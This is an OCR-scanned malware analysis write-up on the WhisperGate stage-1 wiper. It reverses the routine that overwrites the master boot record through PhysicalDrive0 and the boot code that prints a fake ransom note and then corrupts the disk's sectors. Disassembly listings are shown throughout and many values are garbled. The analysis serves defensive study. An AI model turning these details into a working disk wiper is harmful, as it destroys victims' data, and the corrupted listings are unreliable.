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Introduction#

Dozens of Ukranian government sites, including Ministry of foreign affairs, Cabinet of
ministers and security council have been hit by a massive cyber attack.

Microsoft incident response team recently released samples of destructive malware used in
the campaign.

Samplest

virustotal filescan.io

Environment#

Windows 10 guest (Virtualbox)
Windows 10 host
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https://rxored.github.io/post/analysis/whispergate/whispergate/
https://rxored.github.io/post/analysis/whispergate/whispergate/
https://www.virustotal.com/gui/file/a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92
https://www.filescan.io/uploads/61e5524c0f8c757253c42839

Tools#
Die
IDA

x32dbg
bochs

Analysis#

Behavioral analysis#

malware needs administrative privileges to be successful.

/19y PM
sershfakemalware\Desktop\whispergate\whispergate > .\stagel.exe

malware\Desktop\whispergate\whispergate >

Malware does not create any network traffic, registry modifications or file modifications

Upon restarting, device will boot into a screen displaying the following ransom note.

our hard drive has been corrupted.

In case you want to recover all hard drives

of your organization,

ou should pay us $10k via bitcoin wallet

1AUNME8g j6PGPFcJuf tKATa4Wlnzg8f pfv and send messzage via

ox ID 8BEDC411012A33BA34F49130DOF186993C6A3Z2DADEIV6F6ASDBZC1EDZ23054CO57ECEDS496

ith your organization name.
e will contact you to give further instructions._

Static analysis#

The pe#

2/11



According to detect it easy, the file is a 32 bit PE file.

File name

C: /Users ffakemalware {Desktop/whispergate fwhispergate fa196cabsffcha7fh 276d04f 3546962239131 1db 3841ae 16080556 36838292, bin

File type Entry point Base address

PE32 00401300 ’T Disasm 00400000
PE [ | | Import | | 1 | s

Sections TimeDateStamp Size0fimage

0008 = 2022-01-10 02:37:18 00004000

Scan Endianness Architecture
Detect It Easy(DiE) LE 1386

compiler MinGW(GCC: (GNU) 6.3.0)[-]
linker GMNU linker Id (GNU Binutils){2.28)[GUI32]

Options
Signatures D Deep scan About
Scan
> Log 730 msec Exit

it is compiled and linked using MinGW (GCC 6.3.0) and GNU linker.

die shows entropy as 6.07208, which is high but it also says executable is not packed.

Status Offset

Reload
PE32 not packed 00000000

Regions
Entropy Status
PE Header 00000000 DD0OO0400 196483 not packed
Section(0)[".text'] 00000400 0000200 6.04520 not packed
Section(1)[".data'] 00003200 00002200 5.71416 not packed
Section(2)['.rdata’] 00005400 00000400 4.01500 not packed
Section(3)['.eh_fram'] 00005800 00000a00 4.78145 not packed
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As usual, entropy in the .text section is higher than in the other sections.




Strings - O X

0x00000000 - 0x00006bFF { 0x ) [ anst [ unicode 5 % Search
- Size Type String v
00001 bee 00000008
00001 ebd 00000008

00000023
0000002k

Your hard drive has been corrupted.

In case you want to recover all hard drives

of your organization,

You should pay us 510k via bitcoin wallet

1AVNMEEgj6P GPFcluftKATadW ifpfv and send message via

tox [0 B8BEDC411012A33BA34F49130D0F186993CAA32DADESTEFAASDE2CT ED23054C05TECED 5496F65

A
A
A
A
A
A
A
A
A

b=

CA with your organization name.
1a We will contact you to give further instructions.
3 A AAAAA

00000023 A Your hard drive has been corrupted.

00000026 A In case you want to recover all hard drives

of your organization,

Filter ’7
o]
strings in the binary are not encrypted. several strings shown in the above diagram gives
hints about malware’s capabilities such as disk corruption.

Also, note that it shows a bitcoin wallet and a tox ID that can be used as signatures.

- 1AVNM68gj6PGPFcIuftKATadWLnzgs8fpfv
- 8BEDC411012A33BA34F49130DOF186993C6A32DAD8976F6A5D82C1ED23054C057ECED5496F65

Executable does not have many imports. There are no APIs related to cryptography
eventhough malware claims to encrypt the files.

Function name || Address Ordinal  Name Library

[7] TopLeveExceptionFilter T8 0000000... [ KERNEL32
(7] main %=| 0000000... CreateFilew KERNEL32
7] sub_401240 0000000... DeleteCriticalsection KERNEL32
7] start 0000000... EnterCriticalSection KERNEL32
[7] atexit 0000000 ExitProcess KERNEL32
[7] sub_s01340 0000000 FindClose KERNEL32
[£] sub_s01430 0000000 FindFirstFileA KERNEL32
[7] sub_s01460 0000000... FindNextFileA KERNEL32
E sub_401800 0000000... FreeLibrary KERNMEL32
zl sub_401910 0000000... GetCommandLineA KERNMEL32
[F] sub_401390 0000000... GetlastError KERNEL32
£ | TisCallback_1 0000000... GetModuleHandlea KERMNEL32
Z TisCalback_0 0000000... GetProcAddress KERNEL32
(7] sub_401840 0000000 TnitislizeCriticalSection KERNEL32
(7] sub_s01c30 0000000 LeaveCriticalSection KERNEL32
[ 7] sub_s01c00 0000000 LoadLibrarya KERNEL32
Z sub_401020 0000000... SetUnhandledExceptionFilter KERNEL32
E sub_401E10 0000000... TisGetValue KERNMEL32
(7] sub_s01FED 0000000... virtualProtect KERNEL32
[F] sub_402010 0000000... virtualQuery KERNEL32
7] sub_402080 0000000... ViriteFile KERNEL32

Reversing the pe#

IDA shows that PE contains two TLS callbacks. Initially suspected these were for anti-
debugging purposes but turns out to be no.
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s =

eeaeaeasaese a1l

000000000848 LA1C loc_481A1C:

epaeepaeense1a1C cup eax, DLL_THREAD_ATTACH|
eeacosaeentelnlF iz short loc_201433

] e 1

max, DLL_PROCESS_ATTACH|
short loc_S81A65

mav
B0R0000000481A38 sub
B000R0RARLRLASE crp
|seseceaeeaseine jle

[acamseameseings
BeaRoRaRaRsRlA3l loc_aBlA33:

esi, offset dword_seselal
esi, offset dword_d6Bel4)
esl, 3

] 1

SODeREOEOBL8LALS
aeapoparontalass loc_sE1465:

eax, [espHiCh+Reserved]
[esp+ichsvar_ 18], 1 ; argd
[espeichavar_14], eax ; arg 8|
eax, [espriCh+0llnandle]

(000ARORIBLE1ATO may [espsichsvar_IC), eax ; arg 8l
| 0000000808481A7C call sub_481038
000000000481451 jmp s =it
0000RORIRLR1AZ1 TlsCallback 8 endp
eeaeesasepselaa1
—
] i 1
BEREaR0RORLR 1445 il egin:
esp, 14h s eax, d=:dword_488814[abx]
eax, 1 0ORORORORITLALD test  eax, eax
ek eeacasosopse1aan iz shart loc_sB1a51
esi
epeaRomaRtalAZe retn  BCh

] s 1

[POBee0aBLe1AS 1

[oopapoaansalas] add
[eapaEoRaRsELAS (mp
[peoeapoRaRLB1ASE jnz

1451 loc_401451:

ebx, 4
esi, o
shart

pop
| FB00E000e4R1AE61 pop
008000008481462 retn

e

esp, 14h

#ch

first TLS callback starts calling some function pointers if Reason is DLL_THREAD ATTACH .

Il o [
8200000020401900
(eeea008008401980
8200000020401900
00p0Re0eeRedte1588 public TlsCallback_1
0000000000481380 TlsCallback_1 proc near
8200000020401900

1980 var_1C= dword ptr -1Ch
B0B000000481988 var_18= dword ptr -18h
BOR0ROROGR4E19B8 var_14= dword ptr -14h
0000000000481988 D11Handle= dword ptr £
BeROR0RR08481988 Reason= dword ptr &
BE0OO008481988 Reserved= dword ptr @Ch
BBeGBABAOA181988
BOR0OOROBR4E19B8 sub esp, 1Ch
000000000R401983 mov eax, [esp+iCh+Reason]
00R00EER0R481387 crp eax, DLL_THREAD_DETACH
BOBOBOBOBRLE1SBA j1 short loc_481908

¥

eax, eax
short loc_491900

; DLL_PROCESS_DETACH

]
(060000000848198C test
000000000048158E jz

L ]
P P
(620000208040195C8 mov eax, 1 (8000002000401900
00000000904819C5 add esp, 1Ch| [eeeeepeeaesalsDe loc_4@1308:
02000000804019C8 retn ach 8000002000401900 mov edx, [esptlChiReserved]
1904 mov [esp+iCh#var_lB], eax
(6E000000024819D8 mov eax, [esp+lChiDllHandle]
19DC mov [esp+iChivar_14], edx
60000030084919E0 mov [esp+iCh#var_1C], eax
(Eee00080084819E3 call sub_4@1C38
(Bapa0Reea84819E8 mov eax, 1
(@0060000084819ED add esp, 1Ch
(B6000000084819F0 retn eCh
beaeoara0asalore TlsCallback_1 endp
ee080000004819F0

the second TLS callback simply returns if Reason is something other than
DLL_THREAD_DETACH or DLL_PROCESS_DETACH , suggesting this may be de initializing
whatever initialized by the tlscallbackl .
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FEE

1388
1388

1388
BoepoobaER4015360
BoepoobaER4015360
BoepoobaER4015360
BoepoobaER4015360
BoepoobaER4015360
BoepoobaER4015360
BoeboobBER401303
‘BoepopbRER40130A
BoepoobaeR4015310
BoepoobaeR4015310
BoepoobaeR4015310

13600 ;

Attributes: noreturn

public start

start proc near

var_1C= dword ptr -1Ch

sub esp, 1Ch

mov [esp+lCh+var_1C], 2
call ds:_ set_app_type
call sub_4811B8

start endp

start function calls sub_4011be after setting the app type.

P

Bpapeaapaadal24n
BepobapoRELB124D
apepeaapaELa1240
BebobapoRELE1252
BebobapoRELB1258
BebobapERELBL125A
BepopaooBR4B125F
BebobapoRELBLl262
BebobapoRELBL1267
foapaaa00040126C
BebobaooRE4B126E
BeepeRaRERLE12T2
BebobapoRELBL12TT
aeepaaeREE40127E
BebobapoRELB12860
BebopaoERE4B1283
BebobapoRELB1288
BebobaRERELBL12EA
BebobaooRR4B128F
BebobapoRELE1292
BebobapoRELE1292
BebobapoRELE1292

loc_48124D:

call _ p_ fmode

mov edx, dword_ 486028
mov [eax], edx

call sub_4@1E1@

and esp, @FFFFFFFeh

call sub_4@81998

call _ p__environ

mov eax, [eax]

mov [esp+l8h+var_1@], eax
mov eax, ds:dword_ 469000
mov [esp+l8h+var_14], eax
mov eax, ds:hTemplateFile

mov esp+18h+lpToplevelExceptionFilter], eax ; hTemplateFile
call sub 483668

overurites master

mov ebx, eax boot record

call _cexit

mov [esp+18h+lpTopLevelExceptionFilter], ebx ; uExitCode
call ExitProcess

sub_481188 endp

sub_4011b06 calls function
malware.

sub_403b60 that is responsible for main functionality of the
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[F] Functions window o &8 x oaviews B [T Hexview1 [ stuctres [ [E) Enums (x| Imports o = Exparts B8
BET
Function name - 000000eB0R403060 lea ecx, [espthTemplateFile]
? sub_4038E0 P0EBRERERE4R3E64 and esp, @FFFFFFF@h
B202000002483B67 mov eax, 202Ch
BAARBEARBA4A3EEC push  dword ptr [ecx-4]
8EBBBOBBBALB3BEF push ebp
0220002608483678 mov ebp, esp
920BRAERRA4B3B72 push edi
B0EBERERERE4A3ETI push esi
2220022008403874 push ecx
BEEAGARAAA4A3ETS call sub_4@1FE@
BBERBARBRAAB3ETA mov esi, offset boot_sector_ code
B00000000848387F sub esp, eax
B00POOEODE4R3E81 lea edi, [ebp-2018h]
P0EERERODB4ASEET call sub_401998
B200000002483B3C mov ecx, 8edh
/BAAEAABAA4G3E3] rep movsd
8EGABOEBEALB3E93 mov [esp+1ah+hTemplateFile], @ ; hTemplateFile
BRORORERREIR3EIE mov dword ptr [esp+B], @ ; dwFlagsAndAttributes
B20RRAERRE4B3BA3 mov [esp+lah+dwCreationDisposition], 3 ; dwCreationDisposition
POEEDEBODB4AIEAE MmOV [esp+lah+lpSecurityAttributes], @ ; lpSecurityAttributes
2220002800483EB3 mov [esp+lah+dwShareMede], 3 ; dwShareMode
BBEABAERRALEIEEE mov [esp+l4h+dwDesiredAccess], 188@88a8h ; dwDesiredAccess
8EGRBOEBEALB3EC3 mov [esp+14h+1pFileName], offset FileName ; "\\\\.\\PhysicalDrives"
BCA call CreateFileW
B0000000084835CF mov esi, eax
P00BDEEORE4A3EDL lea eax, [ebp-2018h]
__p__environ B220000008483BD7 sub esp, 1Ch
_ getmainargs BERBRARBRA4BIEDA mov [esp+14h+lpFileName], esi ; hFile
WriteFile 8GGABOEBEALB3EDD mov [esp+14h+dwCreationDisposition], @ ; lpOverlapped
VirtualQuery 0220002808483BE5 mov [esp+14h+lpSecurityAttributes], @ ; lpMumberOnyt.:eswritten
VirtualProtect 920RRAERRE4B3BED mov [esp+lah+dwSharetode], 208h ; nNumberOfBytesToWrite
POEBDEBODB4AIEFS mov [esp+lah+dwDesiredAccess], eax ; lpBuffer
IEERETE 00000000004038F9 call  lriteFile
SetUnhandledExceptionFilter PBAABARBRRARIBFE sub esp, 14h
| 7] LoadLibraryA 8B080880084B3CB1 mov [esp+14h+1pFileName], esi ; hObject
z LeaveCriticalSection 920008000403C04 call CloseHandle
| 7] InttializeCriticalSection w 0000000084038 push eax
aB 5 P00BDORORE4RICEA lea esp, [ebp-@Ch]
P0R0000600403CAD xor eax, eax
Line 82 of 83 B8BOBEBEBEB483CAF pop ecx
MGmhoenen O 8 X pomsweoneomit il
B8000000008403C12 pop ebp
BREERERERE4A3CI3 lea esp, [ecx-4]
BB0ABAERRA4B3IC16 retn
/EEAEARAAA4A3CI6 main endp
3C16
100.00% (-170,223) (€04,717) 00002F7A 0000000000403B7A: maintlA (Synchronized with Hex View-1)

the function copies 2048 bytes at offset boot_sector_code into the stack.

.data: 60464084 align 28h
.data:868484828 boot sector_code db 8EBh ; & ; DATA XREF: sub_483B68+1Ato
.data:00404821 db ]
.data:00404822 db 8Ch ; &
.data:epd4p4623 db @csh ; E
.data:end4p4624 db 8Eh ; 7
.data:@0404825 db @Dsh ; 0
.data:P0404826 db @BEh ; ¥
.data: 00404827 db 8sh ; ~
.data: 00404828 db 7ch ; |
.data: 20404829 db @Esh ; &
.data: 00484024 db )
.data:00404028 db )
.data:0040482C db 58h ; P
.data:0040482D db @FCh ; i
.data:ee40482E db 82k ; 5
.data:0040402F db 4
.data: 00404030 db 3ch ; <
.data:00404831 db )
.data:00404832 db 74h ; t
.data:00404833 db 5
.data:00484034 db @ESh ; &
.data: 00404835 db 5
.data:00404836 db ]
.data:00404837 db 46h ; F
.data:00404838 db @EBh ; &
.data:00404839 db @Fah ; &
.data:0848403A db @EBh ; &
.data: 00404836 db 5
.data:@840483C db @B4h ; ~
.data: 80404830 db @Eh
.data:0040463E db @coh ; I
.data:@040483F db 18h
.data:ep404040 db @c3h ; A
.data: 00404841 db 8Ch ; &
.data:eps4pd642 db @csh ; E
.data:ee4p4843 db 8Eh ; 7
.data:00404044 db @Dsh ; @
.data:00404845 db @A3h ; £
‘. db 55h ; U

db @Ash ;

offset contains bytes of compiled x86 real mode boot sector code, along with the boot
signature Ox55AA .
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Thenitcalls CreateFilew passing \\\\.\\PhysicalDrive0® as filename argument.
returned handle is then passed to writeFile along with the stack buffer that contains boot
sector code. If the call is successful, it will overwrite MBR (master boot record) with a custom

boot sector.

After BIOS has done selecting the boot device it will load overwritten MBR into memory and
the CPU will start executing a parasite bootloader.

Also, note that malware does not encrypt anything.

Extracting boot sector code#

% ctagel.exe - PID: 512 - Module: stagel exe - Thread: Main Thread 5140 - x32dhg [Elevated] - X
Fle View Debug Tradng Plugins Favourites Options Help Apr 17 2021 (TitanEnging)
CoOE 30| ¥ w§ tunlevfion a0 B
| #log  [1]Notes ® Breskpoints B MemoryMap (L)) CallStack  S@sEH o Saipt %] Symbols <2 Source ) References W Threads B Handles £ Trace
. 5§ push ebp ~ N
. B9ES mov ebp,esp (120 (7D
. 57 push edi edi:entryPoint s
. 56 push esi esi:iEntryPoint EOU T2 021
4 51 push ecx EBX 00243000
. E8 GGE4FFFF €all st ECX  [NOGRMGES
BEF—s BE 20404000 mov esi esi:EntryPoint EDX 00000080
. 23c4 EBP  DOGOFF1E
. 8DBD ESDFFFFF Tea caifawora ptr ss:[ebp-zo1s) edi:EntryPoint ESP  DDGOFFOC
. E8 04DEFFFF call s POt ESI 00401300 <stagel.EntryPa
. E; 2?030900 i EDI 00401300 <stagel.EntryPo
. E
o [ 00403893 C74424 18 00000DOO ptr ss:[lesp+18f,0 EIP  00403B7A tagel. 00403674
o 00403B92 C74424 14 00000000 ptr ssiflesp+14],0 . stage
o | 00403BA3 C74424 10 03000000 ptr ss:|flesp+10fl,3 [esp+10]: "sA&i""
o[ 00403828 C74424 0OC DOODODOD ptr ss:[esp—c],u ERLAGS RN ST
¢| 00403883 C74424 08 03000000 ptr ss:|[fesp+3] ntryPoi nt e © [F i LF @
o 00403BBE C74424 04 0D0DOO10 ptr ss:[fesp+ 4],mnnnnnn ntryPoin OF 0O SF O DF O
e | o0403BC3 C70424 64704000 ptr ss:|espf],stagel. 407064 4070641L"\NY . \\Phy icalpriveo” CFO TF1 IF1
o | 00403BCA E8 T1FFFFFF 11 <P, ECr eater1ems
e | 00403BCF 83C6 ov esi,eax esi:EntryPoint LastError 0000007E (ERROR_MOD_NOT
o | 00403801 8D85 ESDFFFFF Tea eax,dword ptr ss:[febp-zo1s] LastStatus CO000135 (STATUS_DLL_NO
o | 00403BD7 83EC_1C sub esp,1C
. 13ED 893424 mov dword ptr ss:[espl,esi esiEEnEnyEo G5 0028 FS 0053
. C74424 10 00000000/ |mov dword ptr ss:[fesp+i08,0 esp+10]: "sAbl" ES 002E DS 0028
. C74424 0C 0000000 mov dword ptr ss:f[esp+CJ,0 CS 0023 SS DOZB
. C74424 08 0002000 e dword ptr ss:[esp+a],200 EntryPoint
. 3 894424 04 dword ptr ss:|fesp+4]l,eax EntryPoint
o |l 0o403BF3 E8 AAFEFFFF Al <P, G iTer1len E{le)) LEEROOTIITITLERETOTY) EEETD
o | 00403BFE 83EC 14 sub esp,Lt ST(1) 0000000000D0D0000000 x87rl E
. 893424 mov_dword ptr ss:[espl,esi esi:EntryPoint ST(2) 00000000000000000000 X87r2 E
o | o0s03c04 E8 3FFFFFFF call <JMP.&CloseHandle> 5T(3) 000000D00ODOO0D00000 X87r3 E
el 0010303 so push eax T4 nannnnnnnnanannnanan wnses -
o[ 00403c0A 8065 F4 lea esp,dword ptr ss:[Jebp-c] < >
o | 00203c0D 31C0 xor eax,eax -
o 00403c0F 53 pop scx Dﬁﬁu't(smm‘n [s_t#]0 unlocked
e 0ns03c10 SE pop esi esi:EntryPoint : [esp+4] 00401300 <stagel.entryP
. U(Htl,cu SF pop edi edi:entryPoint [esp+8] 00401300 <stagel.EntrypP
. 3 5D pop ebp . [esp+C] DOGOFF50 .
. BDE1 FC lea esp,dword ptr ds:[ecx-4] [ecx-4]: "wAgl [esp+10] 00401288 “wAeu'"
. c3 ret v [esp+14] 0060FFOC
. an non
>
5 O0GOFF30
Weoump1  @hoump2  @WpDump3 W #mp 4 Woumps @wachi  [x-llocls 2 stuct DOGOFFL0| 00401300 | stagel. EntryPoint ”
add ASCIT DOGOFF14| 00401300 | stagel. EntryPoint
s — = 00G0FF12| 006OFF50
e %o DOGOFFIC [00401288| return to stagel.00401288 from stagel.00403860
Cho o8 = 0060FF20 || 0060FFOC
a0 ey 0060FF24[| 002A3000|
e i 0060FF23 || 002A3000|
s 2 0060FF2C || 00401288| return to stagel.00401288 from stagel.00403860
oo ws D060F 00000001
00404091 00 Q060F 007 62F 80| &™ '\\users\\fakma]ware\\nesktup\\wmspergate\\wh
Sdaniag o EESRCoRoD B0y 026 1408 [|&pATRUSERSIRDETIESC: \\ProgramData"
0040408 65 d drive has been 00e0FEL0 || 00000000
004040C 70 7 corrupted...In SaEorEaa | looeaEE=a
Daa0Am (I CE=CRVOURNATIERED 0060FF 48| 75B3754D| return to msvert.7583754D from msvert.7SB3CASD
004040E 65 recover all har o0s0FF4C || 0o2A3000
DIMEI0N £ & dPHuEDs oIl S 0060FF50 |LODGOFF S0
D0 AR 1) Es RO AT 2 HH DL DOGOFFS 4 [[00401315| return to stagel.00401315 from stagel.o04011B0
00404114 68 - You should pay 0050FF5 2 || oooooooz
0040412 30 us  $10k via bit SaEor s | lGosmioes
0040413 61 coin wallet..1Av 0os0FFen || oooooooo
0040414 36 NM&8g]6PGPFCIUTT et | lboosoosa v
0040415 ac KATadWLnz gafpfyv S
00404161 bl S z
Command: like assemb : mov ean, ob: |oefaut  ~
‘ Paused |s|zge1.exe:004040213—>00404020(0x00000001bytes} ‘TlneWastngdmgg‘lg:O:OO:Ol:B

buffer containing boot sector code can be extracted by placing a breakpoint at the address
where it is accessed and using the show in dump feature in x32dbg.

extracted buffer can be then saved as a raw binary file for further analysis.

Reversing boot sector code#
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17080 ; Segment type: Pure code

B
segPea:7Ce8 seghee segment byte public "CODE' usel6
seg@ea: 7Cea assume cCs:segled
seg@Be: 7Ce0 sorg 7ceoh |
seg@ea:7Cee assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg@aa: 70ea jmp short §+2
L=
2860: 762
segPPa:7C82 start: ; CODE XREF: seg@ee:7Ceetj
seghaa: 7082 mov ax, cs
segBea:7Ce4 mov ds, ax
seg@ea: 7Ces mov si, offset ransom _note ; "Your hard drive has been corrupted.\rin"...
seg@ea: 7Ce9 call $+3
seg@ea: 7Cec push ax
£08a8: 708D cld
seg@ea: 7CBE
segB@@:7CBE print_loop: ; CODE XREF: seg@@@:7C18lj
seg@ea: 7CeE mov al, [si] 3 prints the ransom note
seg@@a: 7C1e cmp al, @
- - |[seg@ea:yC12 jz short loc_7C1A
! seg@ea:7C14 call print_char
I seg8ea: 7C17 inc =i
; segB8a: 7C18 jmp short print_loop ; prints the ransom note
= L e

cs segment register is initially initialized to 0x0, it is used to zero out ax and set up other
segment registers. then loads the ransom note into si register.

ransom_note db "Your hard drive has been corrupted.’,@Dh,8ah
; DATA XREF: segb@@:7Cecto
db 'In case you want to recover all hard drives',@Dh,@Ah
db 'of your organization,',@Dh,@Ah
db 'You should pay us 3%1@k via bitcoin wallet',@Dh,@Ah
db "1AVNMEBgj6PGPFcIuftKATadWlnzg8fpfv and send message via',@8Dh,@8ah
db "tox ID SBEDC411812A33BA34F49138DBF186993C6A32DADEI7EF6ASDE2C1ED23’
db '@54C@57ECEDS496F65",@0h,8Ah
db 'with your organization name.',@Dh,8Ah
db 'We will contact you to give further instructions.',®,@,@,8,'U’,08AAh

seghea ends

end

Next instruction calls print_loop , which then calls print char afterloading al with
the byte at si . And it will repeat this operation until [si] is null.

g 17C1C SUBROUTINE
seged: 7C1C
seg@es: 7C1C
seg@@a:7C1C print_char proc near ; CODE XREF: seg@@e:7C14fp
seg@ea: 7C1C mov ah, @Eh
segles: 7C1E int 1eh 3 - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
seg@ea: 7C1E ;3 AL = character, BH = display page (alpha modes)
seg@@a: 7C1E 3 BL = foreground color (graphics modes)
segpoB: 7020 retn |
seg@®@:7C20 print_char endp
seglee: 728
= e

print_char uses BIOS interrupts to put a single character into the screen. A BIOS
interrupt call is a feature of BIOS that allows bootloaders and early kernels to access BIOS
services such as video memory access and low-level disk access. To use BIOS interrupts,
ah register should be initialized to the function number. parameters passed down through
registers and similar to x86 syscalls, int instruction is used to do the software interrupt
along with the BIOS service number

For instance, in the above image, malware loads Display character function number 0xoe
into ah and calls BIOS video service.

More about BIOS interrupts - Ralf Brown’s BIOS interrupt list.

After printing the ransom note, the overwritten code jumps into another label
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| [5EE@BlI TCIA ; oo oo oo o s
: segeee: 7C1A
| seg@@8:7C1IA loc_7C1A: ; CODE XREF: seg@@@:7C12tj

,—" seg@es: 7C1A jmp short corrupt_c

which then jumps to label corrupt_c

Lo s
segees: 721
segl@l: 721 corrupt_c: ; CODE XREF: seg@@@:loc_7CI1At]
seg@@e:7C21 ; Segeee:7CsBLj ...
—* segBee: 7C21 mov ax, cs
segl@a: 723 mov ds, ax
segl@a: 7025 mov word ptr ds:unk_7C78, ax
seg@ea: 728 mov dword ptr ds:unk_7C76, 7C8zh
seg@ee: 7C31 mov ah, ; 'C
seg@@a: 7C33 mov al, @
segBee: 7C35 mov dl, byte ptr ds:unk_7C87
seg@aa: 739 add dl,
seg@ea: JC3C mov si, 7C72h
seglee: 7C3F int 13h ; DISK - IBM/MS Extension - EXTENDED WRITE (DL - drive, AL - verify flag, DS:5I - disk address packet)
r - |seg@ee:7C4l jb short failed
-l |segBBn:TC4s jnb short success
(- segh@a: 7045

Two insutrctions after segment register initialization sets word at 0x7c78 to 0x0000 and
dword at 0x7c76 to 0x7c82 (‘AAAA).

This initializes the DAP (Disk Address Packet) structure. DAP is a structure that should be
initialized in memory in order to use Logical block addressing with interrupt 0x13. This
structure is then should be passed through si register.

the layout of the structure

Offset Size Description

0 1 size of the packet (16 bytes)

1 1 always 0

2 2 number of sectors to transfer (max 127 on some BIOSes)

4 4 transfer buffer (16 bit segment:16 bit offset) (see note #1)
8 4 lower 32-bits of 48-bit starting LBA

12 4 upper 16-bits of 48-bit starting LBA

source osdev

before the interrupt call int 0x13 , which is used for low-level disk access, ah register is
initialized to 0x43, BIOS function number for writing sectors to the disk.

following registers are also initialized

al - Ox0 (close clock write)
dl - 0x80 (hard disk)
si - O0x7c72 (DAP)

The si register is loaded with address 0x7c72 , which must be the address of disk
address packet.
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seg0en:7C72 dad [e_ten J= sizeof packet
seg 73 align 2

s 74 L 1 | € no of sectiens to transfer
seg 17076 unk_7C76 aB 153

segaea:7C77 db 2]

seg@ea:7C78 unk _7C78 db el transter bytes
seglBB: 7C79 db gl

seg@ea:7C7A unk _7CTA db 1

seg@ae: 7CTA 3 se ! X N
segOn: 7C7B db o | Lows 82 bits
segeea: 7CIC db 2]

seg@ee:7C7D db 2]

SeglBe: 7C7E unk_7C7E db ] 7052

’:gggg;g? b » upper 32 bits
s . E

segaea: 7C8a db 2]

seg@aa: 7CEL db 2]

seg@aa:7C82 db 41h ; A

Segeea:7CE3 db 41h ; A

seglen:7Ce4 db 41h ; A

seg@ae: 7CE5 db 41h ; A

segeea: 7C86 db 41h ; A

seg@ee:7C87 unk_7C87 db -] ; DATA XREF: segB@@:7C351r

seg@ea: 7C87 H fail

A successful BIOS interrupt call will overwrite the first Logical Block Address of the disk with
AAAA , corrupting the C drive.

The next few instructions check whether an extended write operation is successful or not. if
cf is set (error) control flow gets redirected to loc 7c45 (failed), else, to
loc_7c5d (success).

cegB@@: 7045 failed: 3 CODE XREF: seg@@@:7Caltj

segBae: 7045 inc byte ptr ds:unk_7C87

cegBee: 7049 mov dword ptr ds:unk_7C7A, 1

segB@a: 7052 mov dword ptr ds:unk_7C7E, @

ceg®@@:7C5B jmp short corrupt_c

L ) e
seg@ee:7C5D

if fails, the malware tries to overwrite the next disk drive by incrementing the value that adds
up with 0x80.

segeesd: 705D
seg@@d:7C5D success: ; CODE XREF: seg@®@:7C431j
seg@ad: 7Cs0 add dword ptr ds:unk_7C7A, 207h

segeee: 766 adc dword ptr ds:unk_7C7E, @
segded: 7C6F clc
seglad: 778 jmp short corrupt_c |

SEEBBBITCTR §

Adds 0xc7 (199) to [ex7c7a] , incrementing next LBA to be overwritten by 199.

The loop is going to continue until the hard disk is completely overwritten by AAAA s for each
200 Logical Block Address, entirely corrupting the disk.

The end#

It is clear that financial gain is not the motivation behind this malware. Malware is created to
do the maximum possible damage to the infeected computer.

#Spread Anarchy!
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